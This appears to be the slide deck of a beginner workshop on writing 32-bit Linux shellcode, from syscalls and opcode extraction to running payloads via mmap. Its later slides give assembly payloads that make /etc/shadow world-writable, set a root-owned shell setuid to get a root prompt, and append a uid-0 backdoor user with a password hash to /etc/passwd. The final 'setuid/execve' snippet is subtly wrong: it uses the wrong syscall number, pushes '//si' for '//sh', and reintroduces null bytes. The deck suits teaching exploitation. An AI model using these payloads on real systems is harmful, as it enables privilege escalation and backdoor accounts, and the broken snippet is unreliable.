
  

Basic Shellcoding Lab

By dash



  

Intro

● This is *not* shellscripting
● We are sending opcodes to the cpu
● You want to put this into your heaps and stacks
● Or just code assembly for fun :)



  

Prerequisites

● Assembler: nasm / gas / as
● C Compiler: gcc
● Interpreter: python2/3
● Shellnoob

https://github.com/reyammer/shellnoob
● Objdump
● ascii_converter.py

http://hack4.org/talks/shellcodelab/ascii_converter.py

https://github.com/reyammer/shellnoob
http://hack4.org/talks/shellcodelab/ascii_converter.py


  

CPU Registers

EAX → Accumulator

EBX → Baseregister 

ECX → Counter

EDX → Data

ESI → Source Index

EDI → Dest. Index

ESP → StackPointer

EIP → Instruction Ptr

32 BIT Registers



  

CPU Registers

● EAX/EBX/ECX/EDX (32 BiT)
● AX/BX/CX/DX (16BiT)
● AH/BH/CH/DH (Higher 8Bit)
● AL/BL/CL/DL (Lower 8Bit)



  

Syscall

● What is a syscall?
● *nix using Syscalls!
● man 2 syscall
● Quite some differences in number 32/64bit

/usr/include/asm/unistd_32.h

/usr/include/asm/unistd_64.h



  

Syscall Examples

32BIT
● exit    1
● read    3
● write   4
● open    5
● close   6
● execve  11  
● chdir   12  
● chmod   15  
● setuid  23  
● kill    37  
● reboot  88  
● socket  102 
● connect  102
● accept   102
● bind     102
● listen   102

64Bit
● exit    60
● read    0
● write   1
● open    2
● close   3
● execve  59
● chdir   80
● chmod   90
● setuid  105
● kill    62
● reboot  169
● socket  41
● connect 42
● accept  43
● bind    49
● listen  50



  

Syscall

EAX

syscall

EBX

arg1

ECX

arg2

EDX

arg3



  

Syscall

● Different syscalls for different operations
● read/write/open/close …
● Always check “man 2 <syscall>”

So you know what arguments you need to put 
on the stack.



  

Assembly Instructions

● xor - null out registers

-> xor eax, eax or xor ebx, ebx

● mov - move a value into a register

-> mov eax, 1 (exit syscall)

● push - push something on the stack

-> push 0x44434241  (reverse ABCD)



  

Assembly Instructions

● pop - get something from the stack, put it in register

-> pop ecx

● nop - nop(trix) do nothing?!??

-> nop

● inc - increment value in register

-> inc eax (syscall + 1)

● dec - decrement value in register

-> dec eax (syscall - 1)



  

Assembly Instructions

● jmp - jmp to label

-> jmp shell

● int 0x80 - execute what is prepared

-> int 0x80



  

Syscall: exit

void _exit(int status);

● Register EAX for 
Syscall (1)

● Register EBX for 
return-code



  

Syscall: exit

void _exit(int status);

● Register EAX for 
Syscall (1)

● Register EBX for 
return-code

BITS 32

global _start

_start:

xor eax, eax

xor ebx, ebx

mov eax, 1

mov ebx, 4

int 0x80



  

Syscall: exit

$ nasm -f elf32 exit.asm 

$ ld -m elf_i386 exit.o -o exit

$ ./exit 

$ ./exit ; echo $?

4

BITS 32

global _start

_start:

xor eax, eax

xor ebx, ebx

mov eax, 1

mov ebx, 4

int 0x80



  

Syscall: exit

$ objdump -d -M intel exit

exit:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:

 8048060:31 c0                    xor    eax,eax

 8048062:31 db                    xor    ebx,ebx

 8048064:bb 04 00 00 00       mov  ebx,0x4

 8048069:b8 01 00 00 00       mov  eax,0x1

 804806e:cd 80                    int     0x80

-d for dissassembly

-M for presenting in Intel Instruction Set



  

Syscall: exit

$ objdump -d -M intel exit

 8048060:       31 c0                   xor       eax,eax

 8048062:       31 db                   xor       ebx,ebx

 8048064:       b8 01 00 00 00    mov     eax,0x1

 8048069:       b3 03                   mov     bl,0x3

 804806b:       b7 04                   mov     bh,0x4

 804806d:       66 bb 05 00         mov     bx,0x5

 8048071:       bb 06 00 00 00    mov     ebx,0x6

 8048076:       cd 80                   int        0x80

● Remember we can address ebx/bx/bl/bh
● Btw. Those things are our opcodes



  

Getting the Opcodes

● ./shellnoob.py --from-obj exit --to-c exit.c

Result: 

char shellcode[] = 
"\x31\xc0\x31\xdb\xbb\x05\x00”

“\x00\x00\xb8\x01\x00\x00\x00”

“\xcd\x80";



  

Argl Nullbytes

● So, 0x00 will terminate a string
● Pretty bad for us, having this on the stack

→ remove NULLBYTES
● For now, just recall the different registers we 

have



  

Argl Nullbytes

● So, 0x00 will terminate a string
● Pretty bad for us, having this on the stack

→ remove NULLBYTES
● For now, just recall the different registers we 

have



  

Argl Nullbytes

08048060 <_start>:

 8048060:31 c0                xor    eax,eax

 8048062:31 db                xor    ebx,ebx

 8048064:b3 04                mov    bl,0x4

 8048066:b0 01                mov    al,0x1

 8048068:cd 80                int    0x80

● use it with shellnoob

$ ./shellnoob.py --from-obj exit-no0 --to-c no0.c

$ cat no0.c 

char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";



  

Execute our Shellcode (old)

#include <stdio.h>

#include <unistd.h>

#include <string.h>

char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

int main(void)

{

int *ret;

    printf("scode len: %d\n",strlen(shellcode));

    ret = (int *)&ret+2;

    *ret = (int)shellcode;

return 0;



  

Execute our Shellcode (old)

$ ./exit; echo $?

$ 0

● Hm, that should be four, no?



  

Execute our Shellcode (old)

● Works on systems without stack protection
● The problem is the memory are we are writing 

our shellcode to. We cannot write and execute.

(Non-Executeable Stack)

● Several solutions, we go with mapping our area 
to write to.



  

Execute our Shellcode-MMAP
#include <string.h>

#include <sys/mman.h>

char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

int main(int argc, char **argv)

{

  // Allocate some read-write memory

  void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

  // Copy the shellcode into the new memory

  memcpy(mem, shellcode, sizeof(shellcode));

  // Make the memory read-execute

  mprotect(mem, sizeof(shellcode), PROT_READ|PROT_EXEC);

  // Call the shellcode

  int (*func)();

  func = (int (*)())mem;

  (int)(*func)();

  // Now, if we managed to return here, it would be prudent to clean up the memory:

  munmap(mem, sizeof(shellcode));

  return 0;

}



  

Break anyone?



  

Recap

● Registers
● Simple Stack Layout
● Exit shellcode
● How to run it on old style and mmap

Of course exit is usually pretty useless for us, so 
lets do something more helpful



  

chmod 0777 /etc/shadow

● Syscall chmod: 15

int chmod(const char *pathname, mode_t mode);

Eax: chmod (15)

Ebx: *pathname (ptr from stack)

Ecx: mode (0x1ff)

● Code:

mov ecx, 0x1ff

push <string onto stack with null terminator>

mov ebx, esp

mov al, 15



  

chmod 0777 /etc/shadow

● push data on the stack
● you need to terminate the string
● use tool ascii_converter.py
● String: 

776f646168732f6374652f

create your push instructions (4 bytes)

push    ebx                 ;null terminator

push    0x776f6461      ;/etc/shadow

push    0x68732f63

push    0x74652f2f

● store address of the string into ebx

mov     ebx, esp

● dont forget to add an exit after all you dont want to leave a segfault



  

chmod 0777 /etc/shadow

<xor used registers>

;chmod

mov     ecx, 0x1ff    ;0777

push    ebx             ;null terminator

push    0x??        ;/etc/shadow

push    0x??

push    0x??

mov     ebx, esp       

mov     eax, ??

int        0x80

;exit

xor     eax, eax

xor     ebx, ebx

mov     eax, ??

int     0x80

 



  

chmod 0777 /etc/shadow

<xor used registers>

;chmod

mov     ecx, 0x1ff    ;0777

push    ebx             ;null terminator

push    0x??        ;/etc/shadow

push    0x??

push    0x??

mov     ebx, esp       

mov     eax, ??

int        0x80

;exit

xor     eax, eax

xor     ebx, ebx

mov     eax, ??

int     0x80

xor     eax, eax

xor     ebx, ebx

xor     ecx, ecx

;chmod

mov     ecx, 0x1ff      ;0777

push    ebx             ;null terminator

push    0x776f6461      ;/etc/shadow

push    0x68732f63

push    0x74652f2f

mov     ebx, esp        ;put the address of esp to ebx (shadow)

mov     eax, 15

int     0x80

;exit

xor     eax, eax

xor     ebx, ebx

mov     eax, 1

int     0x80



  

setuid r00tshell

● Create a local mmap shellcode which will give 
4777 permissions to a shell placed somewhere 
on the filesystem. NO NULLBYTES!

● Download the shell.c file here && compile it

chown it to root:

http://hack4.org/talks/shellcodelab/shell.c
● Shellcode doing == chmod 4777 shell

http://hack4.org/talks/shellcodelab/shell.c


  

setuid r00tshell

● HOWTO: 
– Chmod
– Exit
– check with objdump for nullbytes
– remove them(use other registers, not pushb 0x0)
– compile the shell and put it somewhere, chown by hand to root
– Use your shellcode with mmap to change the permissions of the file

Result:

$ ./r00tshell 

# id

uid=0(root) gid=1000(shell) 
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),1
24(sambashare),1000(shell)



  

setuid r00tshell

● Create a local mmap shellcode which will give 
4777 permissions to a shell placed somewhere 
on the filesystem. NO NULLBYTES!

● Download the shell.c file here && compile it

chown it to root:

http://hack4.org/talks/shellcodelab/shell.c
● Shellcode doing == chmod 4777 shell

http://hack4.org/talks/shellcodelab/shell.c


  

setuid r00tshell

Problems?



  

adduser to /etc/passwd

● man 2 open
● man 2 write
● man 2 close(we ignore that for now :))

● open

eax                   ebx                 ecx

open(const char *pathname, int flags);

● write

eax             ebx            ecx         edx

ssize_t write(int fd, const void *buf, size_t count);



  

adduser to /etc/passwd

/usr/include/bits/fcntl.h

/usr/include/bits/fcntl-linux.h

# define O_CREAT       0100

# define O_EXCL        0200

# define O_NOCTTY      0400

# define O_TRUNC      01000

# define O_APPEND     02000 <--- we want to append

# define O_NONBLOCK   04000

● how to convert this?

$ gdb --quiet --batch -ex 'print /x 02000 | 01'

$1 = 0x401



  

adduser to /etc/passwd

;open

mov eax, ?? syscall ??

push nullbyte

mov ebx, push path of /etc/passwd

mov stackpointer to register

mov ecx, ?? flags ??

int 0x80

;write

ret value(file descriptor) is in eax, so lets grab it:

xor ebx

mov fd to register

xor eax, eax

mov al, ?? syscall

push nullbyte

push <user you want to add>

mov ecx, (len of the userentry)

int 0x80

● Return values are saved in EAX
● Remember:

int open(const char *pathname, int flags);



  

adduser to /etc/passwd

● You can use the crypt_des_tool.py 

./crypt_des_tool.py hack3r

● Convert the string to something fitting your assembly code
● The user you want to add, get:

http://hack4.org/talks/shellcodelab/ascii_convert2.py

● ./ascii_convert2.py 
hack3r:ABHmse9Zk8sNI:0:0::/root:/bin/bash



  

adduser to /etc/passwd

● Watch out for:

Nulltermination of the strings

Lonely bytes (push byte)

Missing Newline

● Hint:

push byte 0x0a



  

adduser to /etc/passwd

Build your own adduser assembly code (15m)



  

42

;setuid

xor     eax, eax

mov     ebx, eax

mov     eax, 11

int     0x80

;execve

xor     ecx, ecx

push    ecx

push    0x69732f2f

push    0x6e69622f

mov     ebx, esp

mov     edx, 0x00000000

xor     eax, eax

mov     eax, 11

int     0x80

● Thats Execve, far 
from being perfect.

● Impr0ve!
● Btw. Thats it! 

Thanks for your 
attention!
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